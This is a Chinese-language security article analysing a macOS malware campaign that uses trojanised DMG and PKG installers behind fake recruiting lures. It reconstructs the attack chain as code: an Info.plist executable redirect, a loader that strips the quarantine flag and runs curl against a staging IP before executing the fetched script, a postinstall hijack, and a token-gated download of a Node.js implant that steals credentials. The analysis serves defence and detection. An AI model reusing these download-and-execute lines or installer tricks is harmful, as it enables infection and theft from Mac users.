1. 簡介

近期一份 macOS 惡意軟體家族分析揭露,攻擊者如何將假冒招聘誘餌與兩種獨立的安裝程式格式 — 磁碟映像檔 (DMG)安裝程式套件 (PKG) — 結合,並經由不同執行路逕抵達相同的下游 Implant [1] 。共計十四個木馬化樣本,皆偽裝成一般的工具應用程式,全都解析至同一個中繼主機,最終部署 Node.js 型態的 Payload [1] 。這份報告純粹聚焦於 Delivery chain 的技術構造:應用程式套件如何被修改、Loader 如何編譯與執行、第二階段腳本如何與 Staging server 通訊,以及最終 Payload 暴露了哪些功能。

別再亂點 DMG 和 PKG!Mac 剪貼簿監控正在等你上鉤! | 資訊安全新聞

2. DMG 遞送路徑:套件竄改

DMG 變種不會碰觸合法的應用程式二進位檔。相反地,攻擊者在 Contents/MacOS/ 內加入一個隱藏的執行檔,名為 .macos ,並將 Info.plist 中的 CFBundleExecutable 重新指向該隱藏檔,使得雙擊應用程式套件時會啟動隱藏檔而非真正的程式 [1] 。合法的二進位檔會被保留下來,並刻意在之後做為誘餌啟動,讓使用者看到預期的應用程式正常開啟,同時隱藏元件在背景執行。

  1. <!-- Info.plist excerpt: the sole tampering point in the DMG delivery path.
  2. The attacker only needs to change ONE key to redirect execution. -->
  3. <key>CFBundleExecutable</key>
  4. <!-- Original value would be the real app binary, e.g. "MagicDiskCleaner" -->
  5. <string>.macos</string> <!-- hidden dotfile executed on double-click -->
  6. <key>CFBundleIdentifier</key>
  7. <string>com.example.magicdiskcleaner</string> <!-- kept intact to preserve appearance -->

隱藏的 .macos 檔案並非從頭撰寫的原生 Mach-O 程式;它是一個 Shell 腳本,經由開源的 Bunster 專案轉換為 Go 原始碼並靜態編譯,產生一個僅限 Intel 架構的執行檔 [1] 。由於該二進位檔僅為 x86_64 架構,在 Apple Silicon 上執行時需要先安裝 Rosetta 2;且因檔案沒有有效簽章,Gatekeeper 會拒絕啟動,除非隔離屬性已被移除或用戶手動覆蓋封鎖 [1]

  1. # Reconstructed logic of the Bunster-compiled loader (.macos), based on the
  2. # behavior documented in the source analysis. Each line maps to an observed
  3. # action rather than to leaked binary code.
  4. # 1. Remove the quarantine flag Gatekeeper attaches to downloaded files,
  5. # so the *legitimate* app can be opened without a warning dialog.
  6. xattr -d com.apple.quarantine "/Applications/MagicDiskCleaner.app"
  7. # 2. Launch the real application as a decoy -- this is what the victim sees.
  8. open "/Applications/MagicDiskCleaner.app"
  9. # 3. Silently contact the staging server and fetch the first-stage script.
  10. # Port 3000 and the /task/mac path are constants reused across all
  11. # fourteen samples in the cluster.
  12. curl -s "http://162.0.239.85:3000/task/mac?token=30621301" -o /tmp/mac_stage
  13. sh /tmp/mac_stage
sequenceDiagram participant User participant Bundle as .app Bundle (Info.plist) participant Loader as .macos (Bunster/Go binary) participant Decoy as Real App Binary participant Stage as Staging Server 162.0.239.85:3000 User->>Bundle: Double-click application Bundle->>Loader: CFBundleExecutable resolves to .macos Loader->>Decoy: xattr -d quarantine + open (decoy launch) Loader->>Stage: GET /task/mac?token=30621301 Stage-->>Loader: return first-stage shell script Loader->>Loader: create hidden ~/.task directory Loader->>Stage: GET /task/tokenlinux (fetch tokenlinux.sh)

圖 1 — 根據來源分析重建之 DMG 執行流程。

3. 第二階段下載器:環境檢查與 Node.js 部署

被作為 tokenlinux.sh 取回的腳本負責準備 Node.js 執行環境並獲取最終 Payload。此腳本的早期版本會偵測 CPU 架構,並在有 arm64 版本可用時拉取該版本;此處分析的樣本則移除了該分支,無條件請求 Intel 版本,再次在 Apple Silicon 主機上強制依賴 Rosetta 2 [1] 。該腳本也定義了一個名為 is_vmware_mac() 的函式,意圖偵測虛擬化環境,但呼叫該函式的位置已被註解掉,代表該檢查存在於程式碼中,但目前並未啟用 [1]

  1. #!/bin/bash
  2. # tokenlinux.sh -- second-stage downloader (reconstructed structure).
  3. # Function and variable names below match those documented in the analysis.
  4. is_vmware_mac() {
  5. # Detects common VM identifiers in system_profiler output.
  6. # Present in the script but its invocation below is disabled,
  7. # so sandbox/VM analysis is not currently being evaded by this check.
  8. system_profiler SPHardwareDataType | grep -qi "vmware\|virtual"
  9. }
  10. # if is_vmware_mac; then exit 0; fi # <-- call is commented out in-sample
  11. # Always fetch the Intel build regardless of host architecture
  12. # (the arm64 branch seen in older samples has been removed here).
  13. NODE_URL="https://nodejs.org/dist/latest/node-v-darwin-x64.tar.gz"
  14. curl -s "$NODE_URL" -o /tmp/node.tar.gz
  15. tar -xzf /tmp/node.tar.gz -C ~/.task/nodejs
  16. # Retrieve the final payload and its manifest from the staging server.
  17. curl -s "http://162.0.239.85:3000/task/parser?token=30621301&st=$JWT" -o ~/.task/parser.js
  18. curl -s "http://162.0.239.85:3000/task/package.json" -o ~/.task/package.json
  19. cd ~/.task && npm install && node parser.js

4. PKG 遞送路徑:安裝程式腳本劫持

PKG 樣本透過結構上不同的路徑抵達相同的下游基礎設施。在此,可見的應用程式會正常安裝至 /Applications ,而一個名為 preinstall 的腳本則被暫存於 /Library/Application Support/<appname>Extra ;對應的 postinstall 腳本會在安裝完成後執行該暫存檔案 [2] 。由於惡意邏輯是在安裝程式 UI 已回報成功之後才執行,受害者永遠不會看到任何可疑步驟 — 整個入侵行為是在預期的安裝體驗結束後才發生 [2]

  1. #!/bin/bash
  2. # postinstall -- executed automatically by installer(8) after package
  3. # contents are written to disk. Path and filename match the documented
  4. # PKG delivery variant.
  5. STAGE="/Library/Application Support/MagicDiskCleanerExtra/preinstall"
  6. chmod +x "$STAGE"
  7. # Launch the staged downloader in the logged-in user's context, detached
  8. # from the installer process so the install dialog can close normally.
  9. nohup "$STAGE" >/dev/null 2>&1 &
  10. exit 0
sequenceDiagram participant Installer as installer(8) participant Preinstall as preinstall (staged script) participant Postinstall as postinstall participant Stage as Staging Server Installer->>Installer: Copy real app to /Applications Installer->>Preinstall: Write staged script to Application Support/<app>Extra Installer->>Postinstall: Run postinstall after package write completes Postinstall->>Preinstall: nohup exec (background, detached) Preinstall->>Stage: GET /task/mac (same endpoint as DMG chain) Stage-->>Preinstall: creates ~/.task, fetches tokenlinux.sh

圖 2 — PKG 執行流程;兩種安裝程式格式皆收斂至相同的中繼端點。

5. Token-Based Staging Protocol

後期階段檔案的請求並非無條件提供。 Staging server 會發行一個短期有效的簽章 Token (HS256),作為後續下載請求的 st 參數附加 [2] 。解碼後,Token 的 claims 集合與其說是身份驗證認證,不如說更像一份「階段進度紀錄」,因為它記錄了特定受害者在感染序列中所處的位置。

  1. // Decoded JWT payload structure for the "st" parameter, reconstructed
  2. // from the claim names documented in the analysis. Values are illustrative.
  3. {
  4. "ip": "203.0.113.44", // source IP of the requesting victim
  5. "sid": "a1b2c3d4e5f6", // session identifier for this infection
  6. "tok": "30621301", // original access token issued at first contact
  7. "step": 2, // which stage of the chain has been reached
  8. "iat": 1893456000, // issued-at timestamp
  9. "exp": 1893456600 // short expiry window limits token reuse
  10. }

將後續檔案存取限制在每個受害者、且具時效性的 Token 之後,可限制對 Staging infrastructure 的自動化爬取,並增加批次樣本收集的難度,因為未依序完成前期步驟的下載器無法直接請求最終 Payload [2]

6. 最終 Payload 功能集

被作為 parser.js 取回的檔案,會在新部署的 Node.js 環境中透過 npm install 後直接執行來運作。此階段的去混淆化後可解析為四個功能元件:一個使用 Socket.IO 的遠端存取通道、一個鎖定瀏覽器和加密貨幣錢包認證存儲的模組、一個掃描敏感檔名的檔案探索常式,以及一個持續持續檢查系統剪貼簿以獲取如恢復短語等可複製機密的剪貼簿監控常式 [1][3] 。此階段的命令與控制 (C2) 是架設在與 Staging server 不同的基礎設施上,並分散於三個不同的連接埠,似乎對應於不同的功能通道 [1]

7. 討論:收斂的遞送,分歧的向量

從投放工程的觀點來看,值得注意之處在於:DMG 與 PKG 路徑 — 儘管取得執行權限的方式完全不同(套件 metadata 竄改 vs. 安裝程式腳本濫用)— 最終都終止於相同的 /task/mac 端點與隱藏目錄 ~/.task [1][2] 。這表明了一種刻意設計的模組化架構:操作者可以替換初始存取的外殼(假冒工作指派、Git hook、VS Code task 檔案,或現在完整的安裝程式),同時重複使用相同的第二階段工具與 Staging protocol 而無需修改 [2][3] 。獨立的工具分析也指出,此攻擊的其他向量中所使用的伴隨下載器腳本,其程式碼註解模式與 LLM 輔助生成的腳本一致,這也與在單一後端上快速演化許多輕量外殼變種的作法相符 [4]

8. 結論

此處分析的攻擊鏈展示了安裝程式格式的多樣性主要是社交工程層面的手法,而非技術層面的差異:一旦透過套件竄改或安裝程式腳本劫持取得執行權,兩種路徑都會簡化為相同的 Token 閘道 Staging protocol 與相同的 Node.js 代管 Implant。偵測策略若能鎖定程序衍生關係的異常 — 例如從應用程式套件預期 binary slot 產生的 Shell interpreter,或衍生出分離網路客戶端的 postinstall 腳本 — 相較於綁定單一安裝程式格式的特徵碼比對,更能普遍適用於未來的變種。